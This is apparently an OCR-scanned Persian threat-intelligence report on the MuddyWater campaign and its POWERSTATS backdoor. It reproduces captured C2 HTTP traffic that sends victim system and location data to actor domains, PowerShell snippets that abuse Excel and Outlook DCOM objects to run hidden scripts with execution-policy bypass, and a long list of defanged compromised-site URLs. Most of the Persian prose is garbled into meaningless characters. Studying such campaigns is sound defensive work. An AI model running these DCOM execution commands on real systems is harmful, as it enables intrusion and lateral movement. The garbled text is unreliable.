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REGISTER -

IMAGE -

COMMAND RESULT -
UPLOAD -

Gub il olliws 1P (Slio U xigSie labl ) (Sidue,)d

{"ACTION":"REGISTER","SYSINFO":"Microsoft Windows 7 Ultimate |C:\\Windows|\\Devi

ce\\Harddisk\\Partition2w«

083 ,\"longitude\" :-112.8717}"}

188 amlgs )8 105 Jg0y9 51231860 4ayu50 ,435,3 713,953
(123~ 959) mod 713

02l 45 dgids0 Jol> 340 any Vb (gpz ©)le dulso
022 @ 55 g pplw .Sl 030Uko J)B o) pogua5 )3 S3c
5l (552 & Post Request <G B )3 g 034 (g)13550) )y
o0 Juo)l plazlee bawgl oaid So (glocols jl (g)

POST

HTTP/1.1

Host: organigiz.org
Content-Length: 1632
Expect: 100-continue

.22 _69%%32-bh it S » « |0 RKGROUP
o il »{ ' status\ U s\ success UL\ I py T o\ O, L coun ey namey Iy
United States\",\"country_code\" :\"US\",\"country_coded3\" :\"USA\",\"region_code\
"IATAZAT N "region_name\":\"Arizona\",\"city_name\":\"Phoenix\" ,\"latitude\":33.5

ledbl j (gldgas
«
G23Le)d jom ) )l

plo (5)1550) (slp 3930 (sloals b RSA @in)oSUl 5

.\940(_,.0 o3 laiwl
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340 362 145 180 396 637 383 219 362 581 362 169 595 441 637 34 396 598
169 362 663 262 34 612 34 637 219 438 383 362 581 362 432 261 181 344

el 2l 87,487 jlaie (g9l> S{PUBLICY yusio )1 JUio (gl
139850 (2UWSj0) ) ©)9:0 @ ) pgual > 03 031> Ginled

{"STATUS": "OK", “TOKEN": "d02153ffaf8137b1fa3b-
b852a27a12f8"}

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8
Content-Length: 237

Date: wed, 07 Feb 2018 14:00:51 GMT
Accept-Ranges: bytes

Server: LitesSpeed

connection: close

2305 dlael 1,50 (glacgamae jui Canlgs)s ol 4wl
ogac 2lS @ sad 3> HowasS Hlade bwgi 45 Cawl
PowerShell e Sul canss Gindo 53 (S{PUBLICY .sie)
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351 319 7 293 350 293 370 7 319 210 108 319 402 170 319 251 108 319 2593 402 170 &9
154 319 210 108 319 328 238 202 372 205 355 425 425 401 425 379 372 355 131 193 372
425 401 355 193 193 379 205 202 401 202 131 401 372 202 425 379 319 11

* Hexadecimal
** Decimal
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Expect: 100-continue
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BCE;_ jenj EQBOgEpY! ] / Twh /DOGw+RKQITAGQEOGEPGI 6QBOgEpg! L)DAJ )9 )90 R (§

6B7 92 aKWIZMUZNVD 1 BWQUAGSAVNIMD YD 30DQ8AC 4] SBNSF 6M1UZABg41UPT /EB38033WyZZ52CNTE 3AVZREEQD 5 AHYAHMAPEAETA+QB2F AAXCLX]
Cy,/¥FgR7cOg+//4Adw+VR pMvIBaYAOQBOGDZ AGSADKAIIAGYAOQBODZAGSAD+NDE+/Hg4e,/ YSnD 1z 11 GGIWPdUUCH/ Fr 1B9XXIMSE.

+MgWNIGNXz xG+OK EUhpy cHG] UGBGHRO EAGE Ewh 75 mZC /FNvdZ ToHN /FFG+Kr ng3G+bvDXKBOXE9TdR /] buZdv2 L Vr F 3w2rZCMFEAZTAZQBKODpAL
SAGMANIESG1h/7DSM2V] 1TTD IkyT 1yAekadIAaYAOQE0QDZAGSAOKADIAAYADQBOGDX JWnL x4z 1 gTdQz BawfQasu,/r59

+ya0bWwz US0TY37QF /1C90r VKXYARGKBI +mbiepnDQDmIDgkAKXL7 6XCX5 FeWhCBF ASATYS hSC /C38

29> 9 399 vzl 3030 LIS (ol iz Iagr 03 OR9RIMS Syl o plifize &S d)lge IS0 s
Al ks 05 ) gy ol ) (gledls o 23393 03,5 Jo)l (s21Loyd Hgypm0 4 3)l0lineljué (Swlgs)s
0215,55L lg3T 4 “Stop!!! | Kill You Researcher.” oly
POST http:/ -‘arkaraz-i-saa;ackqcekc‘.co'n ad
Host: ankaraz4saatacikcicekci.com

Content-Length: 431
Expect: 100-continue

{"ACTION": "REGISTER","SYSINFO": "Microsoft

bwgs s Jo)l Zwl jl (gladgas
Cslutinle ply SO @ glaole

4 T

Find... (press Ctrl+Enter to highlight all)

Transformer | Headers | TextView \ SyntaxView | Ir

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8
Content-Length: 30

Date: Tue, 09 Jan 2018 15:01:38 GMT
Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

Stop!!! I Kill You Researcher.
Outlook Application ;I «3gés jL&T "outlook” b ¢yleyd )51+ )9, 5l 1y PowerShell yy (Sisio ¢yaolyd 319350 (i)
‘)9‘“’LJ‘° o3laiwl A5 (5')‘91 Lgl)g mstha 9 )] S ])9‘ 8w (§9) )2 UM 9 o.\)S wb)b b_m..bLo)Q
Gayb jl dbgiye 1S g ol Tisk” daalS b ¢leyd ,SI * 13640 50 03latiwl PowerShell a5 (gly=l (glp segio (sl g,

g 50 1=l DCOM B B
e DDElnitiate (g, jl 3 jLeT "excel” w)be b loyd )51 -

g 50 odlaiwl A5 (ghysl (glp Excel aolbp L hidye

$e=[System.Activator]::CreateInstance([type]::GetTypeFromPro-
gID(“Excel.Application”))

$e.DisplayAlerts=$false

$eDDEInitiate(“cmd”,”/c powershell -exec bypass -file c:\program-
data\a.ps1”)

b0 DDEINitiate (g, jl odlatiwl
< A5 ghy=l gl Excelanls, s L

$e=[System.Activator]::CreateInstance([type]::GetTypeFromPro-
gID(“Outlook.Application”,”127.0.0.1”))

$s=$e.CreateObject(“Shell.Application”) Outlook.Application jl esLa 5wl
$s.ShellExecute(“mshta”,’vbscript:Close(Execute(“CreateOb- s h—=! o mstha awgys o
ject(“’WScript.Shell””).Run “”’powershell -exec bypass -w 1 -file
c:\programdata\a.ps1””,0”))”’)

$e=[System.Activator]::CreateInstance([type]::GetTypeFromCL-
SID(“9BAO5972-F6A8-11CF-A442-00A0C90A8F39”,7127.0.0.17))
$e[@].Document.Application.ShellExecute(“powershell.exe”,”-exec
bypass -file c:\programdata\a.ps1”,”c:\windows\system32”,$null,®)
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lranian Threat Group Updates
Tactics, Technigues and Procedures
In Spear Phishing Campaign

March 13, 2018 | by Sudeep Singh, Dileep Kumar Jallepalli, Yogesh Londhe, Ben Read

Introduction

From January 2018 to March 2018, through FireEye’s Dynamic Threat Intelligence, we observed attackers
leveraging the latest code execution and persistence techniques to distribute malicious macro-based

documents to individuals in Asia and the Middle East.

We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater),
an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear

phishing of government and defense entities in Central and Southwest Asia. The spear phishing emails and

attached malicious macro documents typically have geopolitical themes. When successfully executed, the
malicious documents install a backdoor we track as POWERSTATS.
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hxxp://allisonplumbing[.Jcom/wp-includes/db_template.php
hxxp://all-reseller[Jcom/zzz_backup/db_template.php
hxxp://allsporthealthandfitness[.Jcom//db_template.php
hxxp://allthat[ Jsocial//db_template.php

hxxp://almatours[ Jgr//db_template.php
hxxp://almeriahoteljal.Jcom/dk/db_template.php
hxxp://alnuzhal Jorg/en/db_template.php
hxxp://alorabrownies[.Jcom/wp-admin/db_template.php
hxxp://alphabee.fund/PHPMailer_5.2.0/db_template.php
hxxp://alphaobring[Jcom//db_template.php
hxxp://alphasalesrecruitment[.Jcom//db_template.php
hxxp://alsharhanstore[ Jcom//db_template.php
hxxp://altcoinaddict[.Jcom//db_template.php
hxxp://altosdefontanal.|com//db_template.php
hxxp://altrablog[.Jcom//db_template.php
hxxp://alwahahwebl.Jcom//db_template.php
hxxp://alwake3press[.Jcom/wp-includes/db_template.php
hxxp://always-beauty[.Jch//db_template.php
hxxp://alxcorp[Jcom//db_template.php
hxxp://am1int.fcomet[Jcom/wp1/db_template.php
hxxp://amaril.Jro/components/db_template.php
hxxp://amatikulutours[.Jcom/tmp/db_template.php
hxxp://amazethings[.Jcom//db_template.php
hxxp://amazingashwini[. Jcom//db_template.php
hxxp://amazingenergysavings|.Jnet//db_template.php
hxxp://ambiances-toiles[ Jfr//db_template.php
hxxp://ambulatorioveterinariocaluscol.Jcom/img/common/db_template.php
hxxp://americabr[.Jcom.br//db_template.php
hxxp://americanlegacies| Jorg/webthed_ftw/db_template.php
hxxp://americanwestmedial.Jcom//db_template.php
hxxp://amesoulcoaching[.Jcom//db_template.php
hxxp://amiehepperlin[Jcom//db_template.php
hxxp://aminearserver[ Jes//db_template.php
hxxp://amirmenahem[.Jcom//db_template.php
hxxp://amofoundation[.Jorg/wp-includes/db_template.php
hxxp://amor-clubhotels(.Jcom//db_template.php
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hxxp://ampvita[.Jcom//db_template.php
hxxp://amruthavanal. Jcom/blog/db_template.php
hxxp://anaheral Jbiz/admin/db_template.php
hxxp://analternatif|. Jcom/includes/db_template.php
hxxp://analystcnwang[.Jcom//db_template.php
hxxp://analyticalfootball[.Jcom//db_template php
hxxp://anastasovsworkshop[.Jcom/wp-includes/db_template.php
hxxp://andrasadam[.Jcom/tothildiko/wp-includes/db_template.php
hxxp://andrespazsoldan[.Jcom//db_template.php
hxxp://andrewfinnburhoe[.Jcom//db_template.php
hxxp://andrewsbisom[ Jcom//db_template.php
hxxp://andrew-snyder[ Jnet/bootstrap/db_template.php
hxxp://androidphonetips[Jcom/wp-includes/db_template.php
hxxp://anet-international-group[.Jcom/shop/db_template.php
hxxp://angar68[.Jcom//db_template.php
hxxp://angel-seeds|.Jcom.ua/catalog/db_template.php
hxxp://angelsongroup|.Jcom/wp-includes/db_template.php
hxxp://anglero[.Jcom//db_template.php
hxxp://angloglot[.Jcom//db_template.php
hxxp://aniljoseph[.Jcom/servermon/db_template.php
hxxp://animationpulse[ Jnet//db_template.php
hxxp://animationshowreell ]co.il//db_template.php
hxxp://aniroleplay[Jnet//db_template.php
hxxp://annabelle[]Jnl/next/db_template.php
hxxp://annaplebanek( Jcom//db_template.php
hxxp://anngrigphotol Jcom//db_template.php
hxxp://anotherpartofme[ Jcom/wp-includes/db_template.php
hxxp://anthaigroup.vn//db_template.php
hxxp://antjetaubert[.Jde//db_template.php
hxxp://antonhirvonen[.Jcom/pengalandet.se/wp-includes/db_template.php
hxxp://antrismode[ Jcom/wp-includes/db_template.php
hxxp://antucomp[.Jcom//db_template.php
hxxp://anubandh(Jin//db_template.php
hxxp://anuragcreatives[.Jcom//db_template.php
hxxp://anxiousandunstoppable[.Jcom//db_template.php
hxxp://anyeval Jcom/wp-includes/db_template.php
hxxp://anythinglah[Jinfo//db_template.php
hxxp://apalawyers.pt//db_template.php
hxxp://aperta-armis( Jorg//db_template.php
hxxp://apiiination[.Jcom/leadership/db_template.php
hxxp://apironcol.Jcom/wp-includes/db_template.php
hxxp://apobiomedix[.Jca//db_template.php
hxxp://apollonweb[.Jcom//db_template.php
hxxp://apppriori[.Jcom//db_template.php
hxxp://appsvoice[ ]Jinfo//db_template.php
hxxp://aqarcol.Jcom/wp-admin/db_template.php
hxxp://aquaneekal.]Jcol Juk/wp-includes/db_template.php
hxxp://arabellajo[. Jcom/wp/wp-includes/db_template.php
hxxp://arabsdeals[.Jcom//db_template.php
hxxp://arbruisseaul.Jcom/profiles/db_template.php
hxxp://architectsincl.Jnet//db_template. php
hxxp://archwaycarpetscrml Jco[ Juk//db_template.php
hxxp://arctistrade[.|de/wp/db_template.php
hxxp://arestihome[.Jcom//db_template.php
hxxp://ar-rihlal.Jcom//db_template.php
hxxp://asgen[Jorg//db_template.php
hxxp://bakron[]Jco.za//db_template.php
hxxp://balaateen(]Jco.za/less/db_template.php
hxxp://be-ulJeolJuk//db_template.php
hxxp://beehiveholdingszar| Jco.za//db_template.php
hxxp://beesrenovations.Jco.za/images/db_template.php
hxxp://benonicoc| Jco.za/resources/db_template.php
hxxp://berped[]co.za//db_template.php
hxxp://best-digital-slr-cameras[Jcom//db_template.php
hxxp://bestencouragementwords[.Jcom//db_template.php
hxxp://bios-chip[.Jco.za//db_template.php
hxxp://blackthorn[]Jco.za//db_template.php
hxxp://boardaffairs[.Jcom//db_template.php
hxxp://breastfeedingbral.]Jco.za//db_template.php
hxxp://broken-arrow[Jco.za//db_template.php
hxxp://buboobioinnovations|]Jco.za/wpimages/db_template.php
hxxp://burgercoetzeeattorneys(.Jco.za//db_template.php
hxxp://cafawelding[.Jco.za/font-awesome/db_template.php
hxxp://capetownway| Jco.za//db_template.php
hxxp://capewindstrading[Jco.za//db_template.php
hxxp://capitalradiopetition[.]Jco.za//db_template.php
hxxp://capriflower[ Jco.za//db_template.php
hxxp://carlagrobler{ Jco.za/components/db_template.php
hxxp://cashforyousal.]co.za//db_template.php
hxxp://cazochem|[.]co.za/cazochem/db_template.php
hxxp://cdxtrading[]Jco.za//db_template.php
hxxp://centuriongsd[.]Jco.za//db_template.php
hxxp://centuryacademyl ]Jco.za/css/db_template.php
hxxp://ceramical]co.za//db_template.php
hxxp://charispaarl[Jco.za//db_template.php
hxxp://charliewestsecurity[ Jco.za//db_template.php
hxxp://chinamall[.Jco.za//db_template.php
hxxp://chrisdejager-attorneys| Jco.za//db_template.php
hxxp://chrishanicdc( Jorg/wpimages/db_template.php
hxxp://clandecor( Jco.za/rvsUtf8Backup/db_template.php
hxxp://clientcare.co.ls//db_template.php
hxxp://cloudhostdesign[.Jcom//db_template.php
hxxp://cloudhub.co.ls/modules/db_template.php
hxxp://cmhts[]co.za/resources/db_template.php
hxxp://colenesphotography[.Jco.za/modules/db_template.php
hxxp://comfortex[Jco.za/php/db_template.php
hxxp://comsiplJorg.mw//db_template.php
hxxp://courtesydriving|Jco.za/js/db_template.php
hxxp://crystaltidings[ Jco.za//db_template.php
hxxp://cupboardcurel Jco.za/vendor/db_template.php
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hxxp://debnoch[Jcom/image/db_template.php
hxxp://deepgraphics[.Jco.za//db_template.php
hxxp://delcom[]co.za//db_template.php
hxxp://delectronics[.Jcom[.Jpk//db_template.php
hxxp://desirablehair(.Jco.za//db_template.php
hxxp://dianakleyn[.]co.za/layouts/db_template.php
hxxp://diegemmerkat[.Jco.za//db_template.php
hxxp://digitalblue[Jco.za//db_template.php
hxxp://digital-cameras-south-africal]Jco.za/script/db_template.php
hxxp://domesticguardians[.Jco.za/Banner/db_template.php
hxxp://dpscdgkhan.edul.Jpk/shopping/db_template.php
hxxp://eastrandmotorlabl Jco.za/fleet/db_template.php
hxxp://ecs-consult].Jcom//db_template.php
hxxp://edgeforensic[]co.za//db_template.php
hxxp://edgesecurity[.Jco.za/js/db_template.php
hxxp://ednpk[.Jcom//db_template.php

hxxp://embali Jco.za//db_template.php

hxxp://emwarel[ Jco.za//db_template.php
hxxp://entracorntrading[.Jco.za//db_template.php
hxxp://erniecommunications.]co.za/js/db_template.php
hxxp://evansmokabal.Jcom/evansmokabal Jcom/thabiso/db_template.php
hxxp://experttutors[Jco.za//db_template.php
hxxp://forvolume[]Jco.za//db_template.php
hxxp://fccorpl.]Jco.za/php/db_template.php
hxxp://fickstarelectricall.]Jco.za//db_template.php
hxxp://findinfo-more[.Jcom//db_template.php
hxxp://firstchoiceproperties|Jco.za//db_template.php
hxxp://fragranceoill Jco.za//db_template.php
hxxp://fsproperties[.]Jco.za/engine1/db_template.php
hxxp://funeralbusinesssolution[.Jcom/email_template/db_template.php
hxxp://funisalodgel Jco.za/data1/db_template.php
hxxp://ganitis[ Jgr//db_template.php

hxxp://geetransfers| Jco.za/font-awesome/db_template.php
hxxp://genesisbs[.Jco.za//db_template.php
hxxp://getabletravel[ Jco.za/wpscripts/db_template.php
hxxp://get-paid-for-online-survey[.Jcom//db_template.php
hxxp://gideonitesprojects|.Jcom//db_template.php
hxxp://glenbridge[.]Jco.za//db_template.php
hxxp://glgroup(.]co.za/images/db_template.php
hxxp://globalelectricalandconstruction[ Jco.za/wpscripts/db_template.php
hxxp://goldeninstitute[ Jco.za/contents/db_template.php
hxxp://greenacrestf| Jco.za/video/db_template.php
hxxp://gsnconsulting.Jco.za//db_template.php
hxxp://gvs[.Jcom[ Jpk/font-awesome/db_template.php
hxxp://habibtextiles[Jpk//db_template.php
hxxp://hartenboswaterpark[.Jco.za/templates/db_template.php
hxxp://havilahglo[.Jco.za/wpscripts/db_template.php
hxxp://h-dubepromotions|.Jco.za//db_template.php
hxxp://heritagetravelmw([Jcom//db_template.php
hxxp://hesterwebber| Jco.za//db_template.php
hxxp://highschoolsuperstar| Jco.za/files/db_template.php
hxxp://hisandherskennels|.Jco.za/php/db_template.php
hxxp://hjb-racing[.Jco.za/htdocs/db_template.php
hxxp://hmholdings360[.]co.za//db_template.php
hxxp://host4unix[ Inet/host24new/db_template.php
hxxp://h-u-i[ Jco.za/heiren/db_template.php
hxxp://hybridauto[.Jco.za/photography/db_template.php
hxxp://iggleconsulting[.Jcom//db_template.php
hxxp://iiee.edul.Jpk//db_template.php
hxxp://iinvest4ulJco.za//db_template.php
hxxp://immaculatepainters[.]Jco.za//db_template.php
hxxp://in2accounting[.Jco.za//db_template.php
hxxp://incosol Jco.za/images/db_template.php
hxxp://indiba-africa[.Jco.za//db_template.php
hxxp://indlovusecurity[.Jco.za//db_template.php
hxxp://indocraft[ Jco.za/test/db_template.php
hxxp://insta-art[]Jco.za//db_template.php
hxxp://intelligentprotection| Jco.za//db_template.php
hxxp://interafricaconsulting[.Jcom/wpimages/db_template.php
hxxp://investaholdings[.]Jco.za/htc/db_template.php
hxxp://igra[.Jco.za/pub/db_template.php
hxxp://irshadfoundation[.Jco.za//db_template.php
hxxp://isibaniedul.Jco.za/admin/db_template.php
hxxp://isound[.]Jco.za//db_template.php
hxxp://itengineering[.Jco.za/gatewaydiamond/db_template.php
hxxp://jakobieducation[Jco.za//db_template.php
hxxp://jdcorporate[.|co.za/catalog/db_template.php
hxxp://jeanetteproperties| Jco.za//db_template.php
hxxp://jhphotoedits| Jco.za//db_template.php
hxxp://juniorad| Jco.za/vendor/db_template. php
hxxp://jvpsfunerals[Jco.za//db_template.php
hxxp://jwseshowel[.Jco.za/assets/db_template.php
hxxp://ladiescircle[Jco.za//db_template.php
hxxp://ldams[.Jorg.Is/supplies/db_template.php
hxxp://lensofafrical Jco.za//db_template.php
hxxp://IppaportallJorg.Is//db_template.php
hxxp://luxconprojects|.Jco.za//db_template.php
hxxp://menaboracks].Jco.za/tmp/db_template.php
hxxp://mgamule[Jco.za/oldweb/db_template.php
hxxp://mmetl[ Jco.za//db_template.php
hxxp://mokorotlocorporate[.Jcom//db_template php
hxxp://molepetravel.co.ls//db_template.php
hxxp://muallematselal Jcom//db_template.php
hxxp://oftheearthphotography[Jcom/www/db_template.php
hxxp://passright[]Jco.za//db_template.php
hxxp://printernet[.]Jco.za//db_template.php
hxxp://proeventsports[.Jco.za//db_template.php
hxxp://promechtransport[.]Jco.za/scripts/db_template.php
hxxp://rma-law[]Jco.za//db_template.php
hxxp://ryanchristiefurniture[ Jco.za//db_template.php
hxxp://sefikengfarm.co.ls//db_template.php
hxxp://seismicfactory[ ]co.za//db_template.php
hxxp://servicebox[ ]co.za//db_template.php
hxxp://signsoftimel Jco.za//db_template.php
hxxp://skhalenil.Jco.za//db_template.php
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hxxp://sullivanprimary[.Jco.za//db_template.php
hxxp://tcpberekal.]co.za/js/db_template.php
hxxp://thecompasssolutions[ ]co.za//db_template.php
hxxp://themotoringcalendar[.Jco.za//db_template.php
hxxp://verifiedseller[ Jco.za/js/db_template.php
hxxp://visionclinic.co.ls/visionclinic/db_template.php
hxxp://vumavaluations[Jco.za//db_template.php
hxxp://willpowerpos|.Jco.za//db_template.php
hxxp://winagainstebola[. Jcom//db_template.php
hxxp://www.acer-parts[Jco.za//db_template.php
hxxp://www.agencesylvieleclerc[. Jcom//db_template.php
hxxp://www.agenceuhd[.Jcom//db_template.php
hxxp://www.agirlgonewine[.Jcom/store/db_template.php
hxxp://www.albertamechanicall Jca//db_template.php
hxxp://www albertaprimebeef[ Jcom//db_template.php
hxxp://www.alcalumnil. Jcom/wp-includes/db_template.php
hxxp://www.alessioborzuola[ Jcom/downloads/db_template.php
hxxp://www.alestilorachel[. Jcom//db_template.php
hxxp://www.alexanderhomestead| Jcom//db_template.php
hxxp://www.alexandrasternin[.Jcom/illustration/db_template.php
hxxp://www.alexjeffersonconsulting[.Jcom/wp-includes/db_template.php
hxxp://www_alfredoposadalJcom//db_template.php
hxxp://www.algom-law[Jcom//db_template.php
hxxp://www_aliandconsulting[.Jcom//db_template.php
hxxp://www_alinn-u-yin[.Jcom//db_template.php
hxxp://www_allbuyer[]co[ Juk//db_template.php
hxxp://www_allcopytoners[.Jcom//db_template.php
hxxp://www.allstylus[Jcom.br//db_template.php
hxxp://www.allwestdental[. Jcom/wp-includes/db_template.php
hxxp://www.almaarefut[ Jcom/admin/db_template.php
hxxp://www.alpacall Jcom//db_template.php

hxxp://www altaica[ Jca/wordpress/db_template.php
hxxp://www.ambientproperty[.Jcom//db_template.php
hxxp://www.amerindgen[.Jcom/author/admin1/db_template.php
hxxp://www.amexcars[ Jinfo/tpl/db_template.php
hxxp://www.amika.hr//db_template.php

hxxp://www.amjobs[ Jco[.Juk//db_template.php
hxxp://www.amphibiblechurch[.Jcom//db_template.php
hxxp://www.andreabelfi Jcom//db_template.php
hxxp://www.androidwikihow[.Jcom//db_template.php
hxxp://www.animationinisrael[ Jorg/tmp_images/db_template.php
hxxp://www.antc[.Jch/wp-includes/db_template.php
hxxp://www.antigonisworld[ Jcom/wp-includes/db_template.php
hxxp://www.antirughenaturale[ Jcom/wp-admin/db_template.php
hxxp://www.antoanetapalikarskal Jcom//db_template.php
hxxp://www.apmequestrian[.Jcom//db_template.php
hxxp://www.aprendiendoencasal Jcom/wp-includes/db_template.php
hxxp://www.aptibet[.Jorg//db_template.php
hxxp://www.arabgamenetwork[.Jcom//db_template.php
hxxp://www.arabiccasinochoice[.Jcom//db_template.php
hxxp://www_.ariehandomril Jcom//db_template.php
hxxp://www.bashancorp[.co.za//db_template.php
hxxp://www.bestdecorativemirrors[.Jcom/More-Mirrors/db_template.php
hxxp://www.bitp[ Jco.za//db_template. php
hxxp://www.britishasia-equip[.Jco[.Juk//db_template.php
hxxp://www.buhlebayoacademy[.Jcom//db_template.php
hxxp://www.centreforgovernancel Juk//db_template.php
hxxp://www.crissamconsulting[.Jco.za//db_template.php
hxxp://www.daleth[Jco.za//db_template.php
hxxp://www.digitalmedial.Jco.za//db_template.php
hxxp://www.dingaanassociates[.Jco.za//db_template.php
hxxp://www.duotonedigital Jco.za//db_template.php
hxxp://www.dws-gov[ Jco.za//db_template.php
hxxp://www.easy-home-sales| Jco.za//db_template.php
hxxp://www.edesignz| Jco.za//db_template.php
hxxp://www.eloquent[.Jco.za/nweb2/db_template.php
hxxp://www.fundkidz[ Jco.za//db_template.php
hxxp://www.galwayprimary(.Jco.za//db_template.php
hxxp://www.generictoners[.Jco.za//db_template.php
hxxp://www.getcord( ]Jco.za//db_template.php
hxxp://www.gilforsenate[.Jcom//db_template.php
hxxp://www.gsmmid[.Jcom//db_template.php
hxxp://www.harmonyguesthouse[.Jco.za//db_template.php
hxxp://www.hfhl[ Jorg.Is/habitat/db_template.php
hxxp://www.humorcarbons[.Jcom//db_template.php
hxxp://www.iancullen[.]Jco.za//db_template.php
hxxp://www.icsswaziland[ Jcom//db_template.php
hxxp://www.ihlosigs-pm[.]Jco.za//db_template.php
hxxp://www.khotsonglodge.co.ls//db_template.php
hxxp://www.loansonhomes| Jco.za//db_template.php
hxxp://www.m-3[ Jco.za//db_template.php
hxxp://www.malboer( Jco.za/trendy1/db_template.php
hxxp://www.mikimaths[.Jcom//db_template.php
hxxp://www.rejoicetheatre[.Jcom//db_template.php
hxxp://www.tanati[]Jco.za//db_template.php
hxxp://www_ tonarol Jco.za//db_template.php

hxxp://www/[ Jinfratechconsulting[.Jcom//db_template.php
hxxps://agapeencounter( Jorg//db_template.php
hxxps://agiledepot[.Jcom//db_template.php
hxxps://ahelicoptermom([.Jcom/wp-includes/db_template.php
hxxps://aileeshop[.Jcom//db_template. php
hxxps://alaskanharvestseafood|.Jcom/backup/db_template.php
hxxps://albousalal. Jcom//db_template.php
hxxps://alceharfield[.Jcom//db_template.php
hxxps://aleoestudiol.Jcom/gallonature/db_template.php
hxxps://aliart[.Inl//db_template.php
hxxps://allday[.Jgr//db_template.php

hxxps://allmantravel[. Jcom/thumbs/db_template.php
hxxps://allusdoctors|Jcom/themes/db_template.php
hxxps://almokan Jnet/wp-includes/db_template.php
hxxps://al-mostakbl[.Jcom//db_template.php
hxxps://alnahdatraining[.Jcom//db_template.php
hxxps://aloefly[ Inet//db_template.php
hxxps://alphainvestors[.Jcom.au//db_template.php
hxxps://alphawaves|.Jorg/wp-admin/db_template.php
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hxxps://www.air-mag|.Jro//db_template.php
hxxps://www.airporttaxi-uk[ Jco[.Juk/wp-includes/db_template.php
hxxps://www.alakmli[.Jcom/wp-admin/db_template.php
hxxps://www.alexponcet[.Jcom/wp-includes/db_template.php
hxxps://www alfransia[.Jcom/wp-admin/db_template.php
hxxps://www_allin-chain[.Jcom//db_template.php
hxxps://www.alphapixal.Jcom//db_template.php
hxxps://www.alteaparadise[.Jcom/wp-includes/db_template.php
hxxps://www.alvarezarquitectos| Jcom//db_template.php
hxxps://www.amateurastronomy[.Jorg//db_template.php
hxxps://www.amazingbuyrd[.Jcom/admin/db_template.php
hxxps://www.amighinil Jit/webservice/db_template.php
hxxps://www.anatapackaging[.Jcom/vendors/db_template.php
hxxps://www.ancamamaral Jcom/wp-admin/db_template.php
hxxps://www.angelesrevista[.com//db_template.php
hxxps://www.antojoentucocinal.Jcom//db_template.php
hxxps://www.apliety[ ]Jco.il/wp-includes/db_template.php
hxxps://www.appster[ Jit/wp-includes/db_template php
hxxps://www.buraglubricant[.Jcom//db_template.php
hxxps://www.dopetroleum[.Jcom//db_template.php
hxxps://www.engeltjieakademie Jco.za//db_template.php

hxxps://www][ Jcartridgecave[ Jco.za//db_template.php

hxxps://alterwebhost[.Jcom//db_template.php
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https://www fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html

https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east

https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia

https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity

http://blog.morphisec.com/fileless-attack-framework-discovery

https://newsroom.shabakeh.net/19609/iran-the-new-china-as-a-hacking-actor.html

https://www_fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
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